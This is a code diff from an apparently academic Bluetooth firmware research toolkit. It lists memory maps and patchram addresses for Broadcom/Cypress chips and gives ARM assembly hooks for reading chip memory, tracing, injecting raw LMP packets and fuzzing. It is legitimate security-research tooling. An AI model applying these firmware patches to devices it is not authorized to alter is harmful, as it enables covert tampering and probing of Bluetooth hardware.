ldr r3, [r1] // read 4 bytes from the read_address
str r3, [r0] // store them inside the HCI buffer
add r0, 4 // advance the buffer pointer
add r1, 4 // advance the read_address
subs r2, 1 // decrement the loop variable
bne loop // branch if r2 is not zero yet
# Snippet for sendLmpPacket()
SENDLMP_CODE_BASE_ADDRESS = 0xd5130
#TODO already works except for correct mac address - so still a problem with the connection #
SENDLMP_ASM_CODE = """
push {r4,lr}
// send HCI buffer to the host
mov r0, r4 // r4 still points to the beginning of the HCI buffer
// malloc buffer for LMP packet
bl 0x3AAA8 // malloc_0x20_bloc_buffer_memzero
mov r4, r0 // store buffer for LMP packet inside r4
pop {r4, lr} // return
b 0x20F4 // send_hci_event()
// fill buffer
add r0, 0xC // The actual LMP packet must start at offset 0xC in the buffer.
// The first 12 bytes are (supposely?) unused and remain zero.
ldr r1, =payload // LMP packet is stored at the end of the snippet
mov r2, 20 // Max. size of an LMP packet is 19 (I guess). The send_LMP_packet
// function will use the LMP opcode to lookup the actual size and
// use it for actually transmitting the correct number of bytes.
bl 0x63900+1 // memcpy
// load conn struct pointer (needed for determine if we are master or slave)
mov r0, %d // connection number is injected by sendLmpPacket()
bl 0x473CC // find connection struct from conn nr (r0 will hold pointer to conn struct) //FIXME
//FIXME: mac address is always 1f:8d:00:00:00:00
// set tid bit if we are the slave
ldr r1, [r0, 0x1c] // Load a bitmap from the connection struct into r1.
lsr r1, 15 // The 'we are master'-bit is at position 15 of this bitmap
eor r1, 0x1 // invert and isolate the bit to get the correct value for the TID bit
and r1, 0x1
ldr r2, [r4, 0xC] // Load the LMP opcode into r2. Note: The opcode was already shifted
// left by 1 bit (done by sendLmpPacket()). The TID bit goes into
// the LSB (least significant bit) of this shifted opcode byte.
orr r2, r1 // insert the TID bit into the byte
str r2, [r4, 0xC] // Store the byte back into the LMP packet buffer
// send LMP packet
mov r1, r4 // load the address of the LMP packet buffer into r1.
// r0 still contains the connection number.
pop {r4,lr} // restore r4 and the lr
b 0xAF4C // branch to send_LMP_packet. send_LMP_packet will do the return for us.
.align // The payload (LMP packet) must be 4-byte aligend (memcpy needs aligned addresses)
payload: // Note: the payload will be appended here by the sendLmpPacket() function
"""
# Assembler snippet for the readMemAligned() function
READ_MEM_ALIGNED_ASM_LOCATION = 0xd5030
READ_MEM_ALIGNED_ASM_SNIPPET = """
push {r4, lr}
// malloc HCI event buffer
mov r1, 0xff // event code is 0xff (vendor specific HCI Event)
mov r2, %d // readMemAligned() injects the number of bytes it wants to read here
add r2, 4 // + 'READ'
mov r0, r2
adds r0, #2 // r0 needs to be 2 higher than r2 in all malloc_hci_event_buffer calls
bl 0x22C4 // malloc_hci_event_buffer (will automatically copy event code and length into the buffer)
mov r4, r0 // save pointer to the buffer in r4
// append our custom header (the word 'READ') after the event code and event length field
add r0, 10 // write after the length field (offset 10 in event struct)
ldr r1, =0x44414552 // 'READ'
str r1, [r0]
add r0, 4 // advance the pointer. r0 now points to the beginning of our read data
// copy data to buffer
ldr r1, =0x%x // readMemAligned() injects the read_address here. r1 will be used as src pointer in the loop
mov r2, %d // readMemAligned() injects the number of dwords to read here. r2 will be the loop counter
loop:
ldr r3, [r1] // read 4 bytes from the read_address
str r3, [r0] // store them inside the HCI buffer
add r0, 4 // advance the buffer pointer
add r1, 4 // advance the read_address
subs r2, 1 // decrement the loop variable
bne loop // branch if r2 is not zero yet
// send HCI buffer to the host
mov r0, r4 // r4 still points to the beginning of the HCI buffer
pop {r4, lr} // return
b 0x20F4 // send_hci_event()
"""
+64 -18
View File
@@ -20,24 +20,70 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
# Firmware Infos
# iPhone 6
FW_NAME = "BCM4345B0"
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ #MemorySection(0x00000000, 0x000c07ff, True, False), # Internal ROM
MemorySection(0x000d0000, 0x000dffff, False, True), # Internal Memory Patchram Contents
#MemorySection(0x00200400, 0x00201cff, False, True), # Internal Memory Cortex M3
]
class BCM4345B0(FirmwareDefinition):
# Firmware Infos
# iPhone 6
FW_NAME = "BCM4345B0"
# Patchram
#PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000 #TODO needs to be aligned read
#PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
#PATCHRAM_VALUE_TABLE_ADDRESS = 0xd0000
#PATCHRAM_NUMBER_OF_SLOTS = 128
#PATCHRAM_ALIGNED = True
# only seems to work 4-byte aligned here ...
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x000C07FF, True, False), # Internal ROM
MemorySection(
0x000D0000, 0x000DFFFF, False, True
), # Internal Memory Patchram Contents
MemorySection(0x00200400, 0x00201CFF, False, True), # Internal Memory Cortex M3
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000 # needs to be aligned read
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
PATCHRAM_VALUE_TABLE_ADDRESS = 0xD0000
PATCHRAM_NUMBER_OF_SLOTS = 128
PATCHRAM_ALIGNED = True
# Assembler snippet for the readMemAligned() function
READ_MEM_ALIGNED_ASM_LOCATION = 0x215000 # there is nothing free until 0xdffff, but 0x215000 looks okay during runtime
READ_MEM_ALIGNED_ASM_SNIPPET = """
push {r4, lr}
// malloc HCI event buffer
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
mov r1, %d // readMemAligned() injects the number of bytes it wants to read here
add r1, 6 // + type and length + 'READ'
bl 0x15DD4 // hci_sendEvent (will automatically copy event code and length into the buffer)
mov r4, r0 // save pointer to the buffer in r4
// append our custom header (the word 'READ') after the event code and event length field
add r0, 2 // write after the length field
ldr r1, =0x44414552 // 'READ'
str r1, [r0]
add r0, 4 // advance the pointer. r0 now points to the beginning of our read data
// copy data to buffer
ldr r1, =0x%x // readMemAligned() injects the read_address here. r1 will be used as src pointer in the loop
mov r2, %d // readMemAligned() injects the number of dwords to read here. r2 will be the loop counter
loop:
ldr r3, [r1] // read 4 bytes from the read_address
str r3, [r0] // store them inside the HCI buffer
add r0, 4 // advance the buffer pointer
add r1, 4 // advance the read_address
subs r2, 1 // decrement the loop variable
bne loop // branch if r2 is not zero yet
// send HCI buffer to the host
mov r0, r4 // r4 still points to the beginning of the HCI buffer
bl 0x573B8 // send_hci_event_without_free()
// free HCI buffer
mov r0, r4
bl 0x581AE // osapi_blockPoolFree
pop {r4, pc} // return
"""
+28 -17
View File
@@ -20,23 +20,34 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
# Firmware Infos
# Samsung Galaxy S8
FW_NAME = "BCM4347B0"
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x00000000, 0x00100000, True, False), # Internal ROM
MemorySection(0x00130000, 0x00150000, False, True), # Internal Memory Patchram Contents
MemorySection(0x00200000, 0x0023ffff, False, True), # Internal Memory Cortex M3
]
class BCM4347B0(FirmwareDefinition):
# Firmware Infos
# Samsung Galaxy S8
FW_NAME = "BCM4347B0"
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x130000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x00100000, True, False), # Internal ROM
MemorySection(
0x00130000, 0x00150000, False, True
), # Internal Memory Patchram Contents
MemorySection(0x00200000, 0x0023FFFF, False, True), # Internal Memory Cortex M3
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x130000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
# Heap
BLOC_HEAD = 0x20067C # g_dynamic_memory_GeneralUsePools
BLOC_NG = True # Next Generation Bloc Buffer
+41
View File
@@ -0,0 +1,41 @@
#!/usr/bin/env python
#
# fw_0x220e.py
#
# Firmware file for BCM20702A1 chipsets. These chipsets are typically used for
# Bluetooth USB dongles.
#
# Copyright (c) 2019 Jan Ruge and Jiska Classen. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from .fw import MemorySection
# Firmware Infos
FW_NAME = "BCM20702A2"
# Device Infos
# DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
# BD_ADDR = 0x280CA4 # rm_deviceBDAddr
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x5FFFF, True, False), # Internal ROM
MemorySection(0x80000, 0x9BFFF, False, True), # Internal RAM
]
BLOC_HEAD = 0x3166C
+205 -189
View File
@@ -20,202 +20,218 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
# Firmware Infos
# Evaluation Kit CYW927035
FW_NAME = "CYW27035B1"
# Device Infos
DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
BD_ADDR = 0x280CA4 # rm_deviceBDAddr
#Heap
BLOC_HEAD = 0x200474 # g_dynamic_memory_GeneralUsePools
BLOC_NG = True # Next Generation Bloc Buffer
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x00000000, 0x001fffff, True, False), # Internal ROM
MemorySection(0x00200000, 0x0024ffff, False, True), # Internal Memory Cortex M3
MemorySection(0x00270000, 0x0027ffff, False, True), # Internal Memory Patchram Contents
MemorySection(0x00280000, 0x00283fff, False, True), # ToRam
MemorySection(0x00300000, 0x00307fff, False, True), # HW Regs Cortex M3 (readable)
MemorySection(0x00310000, 0x00321fff, False, True), # HW Regs Cortex M3 (readable)
MemorySection(0x00326000, 0x0032ffff, False, True), # HW Regs Cortex M3 (readable)
MemorySection(0x00338000, 0x00367fff, False, True), # HW Regs Cortex M3 (readable) + Pka Top
MemorySection(0x00370000, 0x0037ffff, False, True), # RTX FIFO
MemorySection(0x00390000, 0x00397fff, False, True), # Power WD
#MemorySection(0x00404000, 0x00407fff, False, True), # EF Registers (seem to be sometimes unavailable)
MemorySection(0x00410000, 0x00413fff, False, True), # BT Modem Registers
MemorySection(0x00420000, 0x00423fff, False, True), # FM Modem Registers
MemorySection(0x00430000, 0x00433fff, False, True), # MAC 15.4
MemorySection(0x00440000, 0x00443fff, False, True), # SecEng Top
MemorySection(0x00450000, 0x00453fff, False, True), # Capscan Top
MemorySection(0x00500000, 0x006007ff, False, True), # EPM RAM (readable) + RF Regs
MemorySection(0x00640000, 0x006407ff, False, True), # CLB Regs
MemorySection(0x00650000, 0x006507ff, False, True), # GCI Regs
MemorySection(0x20000000, 0x2024ffff, False, True), # SRAM
MemorySection(0x20270000, 0x20283fff, False, True), # SRAM
MemorySection(0x20500000, 0x200fffff, False, True), # SRAM
MemorySection(0x22000000, 0x2226ffff, False, True), # SRAM Bits?
MemorySection(0x40000000, 0x40003fff, False, True), # ToRam Alias / Peripherals
MemorySection(0x42000000, 0x4207ffff, False, True), # ToRam Bits
#MemorySection(0x60000000, 0x60000000, False, True), # Extern BlueRF SRAM (range TBD)
#MemorySection(0xa0000000, 0xa0000000, False, True), # Extern Device Address (range TBD)
MemorySection(0xe0000000, 0xe0100000, False, True), # Base PPB Address
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000
PATCHRAM_NUMBER_OF_SLOTS = 192
PATCHRAM_ALIGNED = False
# only seems to work 4-byte aligned here ...
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
# Connection Struct and Table
CONNECTION_LIST_ADDRESS = 0x216F98 # pRm_whole_conn = 0x280C9C points to this
CONNECTION_MAX = 11 # g_bt_max_connections = 0 in firmware
CONNECTION_STRUCT_LENGTH = 0x168 # ??
class CYW20735B1(FirmwareDefinition):
# Firmware Infos
# Evaluation Kit CYW920735
FW_NAME = "CYW20735B1"
# Snippet for fuzzLmp()
FUZZLMP_HOOK_ADDRESS = 0xB08D8 # execute standard SendLmpPdu HCI to fill parameters
FUZZLMP_CODE_BASE_ADDRESS = 0x271A00 # memory area of other WICED patches
FUZZLMP_ASM_CODE = """
// This hook is put into the end of bthci_cmd_vs_SendLmpPdu_B08AC,
// so command parsing is still performed as normal. We jump in
// before bthci_cmd_vs_SendLmpPdu pops and calls DHM_LMPTx.
# Device Infos
DEVICE_NAME = (
0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
)
BD_ADDR = 0x280CA4 # rm_deviceBDAddr
mov r0, r6 // 4 byte alignment
# Heap
BLOC_HEAD = 0x200474 # g_dynamic_memory_GeneralUsePools
BLOC_NG = True # Next Generation Bloc Buffer
// put length argument into table_entry
// payload[5] holds the size argument
ldr r5, =table_entry
add r5, #4 // length offset within table entry
ldrb r6, [r4, #5] // size is in position r4+5
strb r6, [r5]
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x001FFFFF, True, False), # Internal ROM
MemorySection(0x00200000, 0x0024FFFF, False, True), # Internal Memory Cortex M3
MemorySection(
0x00270000, 0x0027FFFF, False, True
), # Internal Memory Patchram Contents
MemorySection(0x00280000, 0x00283FFF, False, True), # ToRam
MemorySection(
0x00300000, 0x00307FFF, False, True
), # HW Regs Cortex M3 (readable)
MemorySection(
0x00310000, 0x00321FFF, False, True
), # HW Regs Cortex M3 (readable)
MemorySection(
0x00326000, 0x0032FFFF, False, True
), # HW Regs Cortex M3 (readable)
MemorySection(
0x00338000, 0x00367FFF, False, True
), # HW Regs Cortex M3 (readable) + Pka Top
MemorySection(0x00370000, 0x0037FFFF, False, True), # RTX FIFO
MemorySection(0x00390000, 0x00397FFF, False, True), # Power WD
# MemorySection(0x00404000, 0x00407fff, False, True), # EF Registers (seem to be sometimes unavailable)
MemorySection(0x00410000, 0x00413FFF, False, True), # BT Modem Registers
MemorySection(0x00420000, 0x00423FFF, False, True), # FM Modem Registers
MemorySection(0x00430000, 0x00433FFF, False, True), # MAC 15.4
MemorySection(0x00440000, 0x00443FFF, False, True), # SecEng Top
MemorySection(0x00450000, 0x00453FFF, False, True), # Capscan Top
MemorySection(
0x00500000, 0x006007FF, False, True
), # EPM RAM (readable) + RF Regs
MemorySection(0x00640000, 0x006407FF, False, True), # CLB Regs
MemorySection(0x00650000, 0x006507FF, False, True), # GCI Regs
MemorySection(0x20000000, 0x2024FFFF, False, True), # SRAM
MemorySection(0x20270000, 0x20283FFF, False, True), # SRAM
MemorySection(0x20500000, 0x200FFFFF, False, True), # SRAM
MemorySection(0x22000000, 0x2226FFFF, False, True), # SRAM Bits?
MemorySection(0x40000000, 0x40003FFF, False, True), # ToRam Alias / Peripherals
MemorySection(0x42000000, 0x4207FFFF, False, True), # ToRam Bits
# MemorySection(0x60000000, 0x60000000, False, True), # Extern BlueRF SRAM (range TBD)
# MemorySection(0xa0000000, 0xa0000000, False, True), # Extern Device Address (range TBD)
MemorySection(0xE0000000, 0xE0100000, False, True), # Base PPB Address
]
// we need to do the original pop...
pop {r4-r6, lr}
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = Address(0x310000)
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000
PATCHRAM_NUMBER_OF_SLOTS = 192
PATCHRAM_ALIGNED = False
# only seems to work 4-byte aligned here ...
// now we simply continue like the original DHM_LMPTx_3453E function
cmp r1, #0
itt eq
moveq r0, #4
bxeq lr
push {r4-r10, lr} // code at 0x34546
mov r7, r0
# Connection Struct and Table
CONNECTION_LIST_ADDRESS = 0x216F98 # pRm_whole_conn = 0x280C9C points to this
CONNECTION_MAX = 11 # g_bt_max_connections = 0 in firmware
CONNECTION_STRUCT_LENGTH = 0x168 # ??
// part of the check if hook_LMP_TxFilter is installed
ldr r0, =0x203144 //dhmAvLinkAutoDetectEnable
mov r4, r1
ldr r2, [r0, #12]
//cbz r2, loc_34564
# Snippet for fuzzLmp()
FUZZLMP_HOOK_ADDRESS = 0xB08D8 # execute standard SendLmpPdu HCI to fill parameters
FUZZLMP_CODE_BASE_ADDRESS = 0x271A00 # memory area of other WICED patches
FUZZLMP_ASM_CODE = """
// This hook is put into the end of bthci_cmd_vs_SendLmpPdu_B08AC,
// so command parsing is still performed as normal. We jump in
// before bthci_cmd_vs_SendLmpPdu pops and calls DHM_LMPTx.
mov r0, r6 // 4 byte alignment
// put length argument into table_entry
// payload[5] holds the size argument
ldr r5, =table_entry
add r5, #4 // length offset within table entry
ldrb r6, [r4, #5] // size is in position r4+5
strb r6, [r5]
// we need to do the original pop...
pop {r4-r6, lr}
// now we simply continue like the original DHM_LMPTx_3453E function
cmp r1, #0
itt eq
moveq r0, #4
bxeq lr
push {r4-r10, lr} // code at 0x34546
mov r7, r0
// part of the check if hook_LMP_TxFilter is installed
ldr r0, =0x203144 //dhmAvLinkAutoDetectEnable
mov r4, r1
ldr r2, [r0, #12]
//cbz r2, loc_34564
ldr.w r8, [r7] // code at 0x34564
mov r0, r8
bl 0x93E60 // rm_getDHMAclPtr
movs r5, r0
// skip check if we actually got a ptr
// continue at 0x3457A
ldrb r0, [r4, #12]
tst.w r0, #0xfe // test for extended op ...
add.w r0, r3, #0xc
// now we regularily would call the opcode conversion table function
// however, we do not use lm_getLmpInfoType_86A82 but insert our own table here
ldr r1, =table_entry // table_ptr with exactly one entry, so no offsets included here
ldr r0, =table_entry
// branch back to DHM_LMPTx position after bl lm_getLmpInfoType
b 0x3458A
.align
table_entry:
.byte 0x40 //lm_LmpUnsupportedPdu
.byte 0x6A
.byte 0x08
.byte 0x00
.byte 0x20 //length, will be overwritten by us anyways, but can not be longer than one buffer (0x20)
.byte 0x00
.byte 0x00
.byte 0x00
"""
ldr.w r8, [r7] // code at 0x34564
mov r0, r8
bl 0x93E60 // rm_getDHMAclPtr
movs r5, r0
// skip check if we actually got a ptr
// continue at 0x3457A
ldrb r0, [r4, #12]
tst.w r0, #0xfe // test for extended op ...
add.w r0, r3, #0xc
# Assembler snippet for tracepoints
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
TRACEPOINT_BODY_ASM_LOCATION = 0x00218500
TRACEPOINT_HOOKS_LOCATION = 0x00218700
TRACEPOINT_HOOK_SIZE = 40
TRACEPOINT_HOOK_ASM = """
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
mov r0, %d // addTracepoint() injects the patchram slot of the hook patch
bl 0x28794 // patch_uninstallPatchEntry(slot)
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
pop {r0-r12, lr} // restore registers
// branch back to the original instruction
b 0x%x // addTracepoint() injects the address of the tracepoint
"""
// now we regularily would call the opcode conversion table function
// however, we do not use lm_getLmpInfoType_86A82 but insert our own table here
ldr r1, =table_entry // table_ptr with exactly one entry, so no offsets included here
ldr r0, =table_entry
// branch back to DHM_LMPTx position after bl lm_getLmpInfoType
b 0x3458A
.align
table_entry:
.byte 0x40 //lm_LmpUnsupportedPdu
.byte 0x6A
.byte 0x08
.byte 0x00
.byte 0x20 //length, will be overwritten by us anyways, but can not be longer than one buffer (0x20)
.byte 0x00
.byte 0x00
.byte 0x00
"""
# Assembler snippet for tracepoints
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
TRACEPOINT_BODY_ASM_LOCATION = 0x00218500
TRACEPOINT_HOOKS_LOCATION = 0x00218700
TRACEPOINT_HOOK_SIZE = 40
TRACEPOINT_HOOK_ASM = """
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
mov r0, %d // addTracepoint() injects the patchram slot of the hook patch
bl 0x28794 // patch_uninstallPatchEntry(slot)
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
pop {r0-r12, lr} // restore registers
// branch back to the original instruction
b 0x%x // addTracepoint() injects the address of the tracepoint
"""
TRACEPOINT_BODY_ASM_SNIPPET = """
mov r8, lr // save link register in r8
// dump registers like before
// save status register in r5
mrs r5, cpsr
// malloc HCI event buffer
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
bl 0x2DEF4 // hci_allocateEventBlockWithLen(0xff, 78)
mov r4, r0 // save pointer to the buffer in r4
// append our custom header (the word 'TRACE_') after the event code and event length field
add r0, 2 // write after the length field
ldr r1, =0x43415254 // 'TRAC'
str r1, [r0]
add r0, 4 // advance the pointer.
ldr r1, =0x5f45 // 'E_'
strh r1, [r0]
add r0, 2 // advance the pointer. r0 now points to the start of the register values
// store pc
str r6, [r0] // r6 still contains the address of the original pc
add r0, 4 // advance the pointer.
// store sp
mov r1, 56 // 14 saved registers * 4
add r1, sp
str r1, [r0]
add r0, 4 // advance the pointer.
// store status register
str r5, [r0]
add r0, 4 // advance the pointer.
// store other registers
mov r1, sp
mov r2, 56
bl 0xEAB4 // memcpy(dst, src, len)
// send HCI buffer to the host
mov r0, r4 // r4 still points to the beginning of the HCI buffer
bl 0x2DEC0 // hci_sendEvent
// restore status register
msr cpsr_f, r5
bl 0x26C7A // bthci_event_vs_DBFW_CoreDumpRAMImageEvent
mov lr, r8 // restore lr from r8
bx lr // return
"""
TRACEPOINT_BODY_ASM_SNIPPET = """
mov r8, lr // save link register in r8
// dump registers like before
// save status register in r5
mrs r5, cpsr
// malloc HCI event buffer
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
bl 0x2DEF4 // hci_allocateEventBlockWithLen(0xff, 78)
mov r4, r0 // save pointer to the buffer in r4
// append our custom header (the word 'TRACE_') after the event code and event length field
add r0, 2 // write after the length field
ldr r1, =0x43415254 // 'TRAC'
str r1, [r0]
add r0, 4 // advance the pointer.
ldr r1, =0x5f45 // 'E_'
strh r1, [r0]
add r0, 2 // advance the pointer. r0 now points to the start of the register values
// store pc
str r6, [r0] // r6 still contains the address of the original pc
add r0, 4 // advance the pointer.
// store sp
mov r1, 56 // 14 saved registers * 4
add r1, sp
str r1, [r0]
add r0, 4 // advance the pointer.
// store status register
str r5, [r0]
add r0, 4 // advance the pointer.
// store other registers
mov r1, sp
mov r2, 56
bl 0xEAB4 // memcpy(dst, src, len)
// send HCI buffer to the host
mov r0, r4 // r4 still points to the beginning of the HCI buffer
bl 0x2DEC0 // hci_sendEvent
// restore status register
msr cpsr_f, r5
bl 0x26C7A // bthci_event_vs_DBFW_CoreDumpRAMImageEvent
mov lr, r8 // restore lr from r8
bx lr // return
"""
+104 -98
View File
@@ -20,109 +20,115 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from fw import MemorySection
# Firmware Infos
# Evaluation Kit CYW927019
FW_NAME = "CYW27039B1 (NOT iPhone X/XR!)"
# TODO this is not the iPhone firmware, we need to add a switch in fw.py
# Device Infos
DEVICE_NAME = 0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
BD_ADDR = 0x280CA4 # rm_deviceBDAddr
#Heap
BLOC_HEAD = 0x0200c7c # g_dynamic_memory_GeneralUsePools
BLOC_NG = True # Next Generation Bloc Buffer
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [ MemorySection(0x00000000, 0x001fffff, True, False), # Internal ROM
MemorySection(0x00200000, 0x0024ffff, False, True), # Internal Memory Cortex M3
MemorySection(0x00270000, 0x0027ffff, False, True), # Internal Memory Patchram Contents
MemorySection(0x00280000, 0x00283fff, False, True), # ToRam
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x270000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
# only seems to work 4-byte aligned here ...
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
# Assembler snippet for tracepoints
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
TRACEPOINT_BODY_ASM_LOCATION = 0x00223100
TRACEPOINT_HOOKS_LOCATION = 0x00223200
TRACEPOINT_HOOK_SIZE = 40
TRACEPOINT_HOOK_ASM = """
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
mov r0, %d // addTracepoint() injects the patchram slot of the hook patch
bl 0x34964 // patch_uninstallPatchEntry(slot)
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
pop {r0-r12, lr} // restore registers
class CYW20739B1(FirmwareDefinition):
# Firmware Infos
# Evaluation Kit CYW920719
FW_NAME = "CYW20739B1 (NOT iPhone X/XR!)"
# TODO this is not the iPhone firmware, we need to add a switch in fw.py
// branch back to the original instruction
b 0x%x // addTracepoint() injects the address of the tracepoint
"""
# Device Infos
DEVICE_NAME = (
0x280CD0 # rm_deviceLocalName, FIXME has no longer a length byte prepended
)
BD_ADDR = 0x280CA4 # rm_deviceBDAddr
TRACEPOINT_BODY_ASM_SNIPPET = """
mov r8, lr // save link register in r8
# Heap
BLOC_HEAD = 0x0200C7C # g_dynamic_memory_GeneralUsePools
BLOC_NG = True # Next Generation Bloc Buffer
// dump registers like before
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x001FFFFF, True, False), # Internal ROM
MemorySection(0x00200000, 0x0024FFFF, False, True), # Internal Memory Cortex M3
MemorySection(
0x00270000, 0x0027FFFF, False, True
), # Internal Memory Patchram Contents
MemorySection(0x00280000, 0x00283FFF, False, True), # ToRam
]
// save status register in r5
mrs r5, cpsr
// malloc HCI event buffer
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
bl 0xF7B6 // hci_allocateEventBlockWithLen(0xff, 78)
mov r4, r0 // save pointer to the buffer in r4
// append our custom header (the word 'TRACE_') after the event code and event length field
add r0, 2 // write after the length field
ldr r1, =0x43415254 // 'TRAC'
str r1, [r0]
add r0, 4 // advance the pointer.
ldr r1, =0x5f45 // 'E_'
strh r1, [r0]
add r0, 2 // advance the pointer. r0 now points to the start of the register values
// store pc
str r6, [r0] // r6 still contains the address of the original pc
add r0, 4 // advance the pointer.
// store sp
mov r1, 56 // 14 saved registers * 4
add r1, sp
str r1, [r0]
add r0, 4 // advance the pointer.
// store status register
str r5, [r0]
add r0, 4 // advance the pointer.
// store other registers
mov r1, sp
mov r2, 56
bl 0xAF0BC // memcpy(dst, src, len)
// send HCI buffer to the host
mov r0, r4 // r4 still points to the beginning of the HCI buffer
bl 0xF782 // hci_sendEvent
// restore status register
msr cpsr_f, r5
bl 0x2D702 // bthci_event_vs_DBFW_CoreDumpRAMImageEvent
mov lr, r8 // restore lr from r8
bx lr // return
"""
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = Address(0x310000)
PATCHRAM_ENABLED_BITMAP_ADDRESS = Address(0x310404)
PATCHRAM_VALUE_TABLE_ADDRESS = Address(0x270000)
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
# only seems to work 4-byte aligned here ...
# Assembler snippet for tracepoints
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
TRACEPOINT_BODY_ASM_LOCATION = 0x00223100
TRACEPOINT_HOOKS_LOCATION = 0x00223200
TRACEPOINT_HOOK_SIZE = 40
TRACEPOINT_HOOK_ASM = """
push {r0-r12, lr} // save all registers on the stack (except sp and pc)
ldr r6, =0x%x // addTracepoint() injects pc of original tracepoint here
mov r0, %d // addTracepoint() injects the patchram slot of the hook patch
bl 0x34964 // patch_uninstallPatchEntry(slot)
bl 0x%x // addTracepoint() injects TRACEPOINT_BODY_ASM_LOCATION here
pop {r0-r12, lr} // restore registers
// branch back to the original instruction
b 0x%x // addTracepoint() injects the address of the tracepoint
"""
TRACEPOINT_BODY_ASM_SNIPPET = """
mov r8, lr // save link register in r8
// dump registers like before
// save status register in r5
mrs r5, cpsr
// malloc HCI event buffer
mov r0, 0xff // event code is 0xff (vendor specific HCI Event)
mov r1, 76 // buffer size: size of registers (68 bytes) + type and length + 'TRACE_'
bl 0xF7B6 // hci_allocateEventBlockWithLen(0xff, 78)
mov r4, r0 // save pointer to the buffer in r4
// append our custom header (the word 'TRACE_') after the event code and event length field
add r0, 2 // write after the length field
ldr r1, =0x43415254 // 'TRAC'
str r1, [r0]
add r0, 4 // advance the pointer.
ldr r1, =0x5f45 // 'E_'
strh r1, [r0]
add r0, 2 // advance the pointer. r0 now points to the start of the register values
// store pc
str r6, [r0] // r6 still contains the address of the original pc
add r0, 4 // advance the pointer.
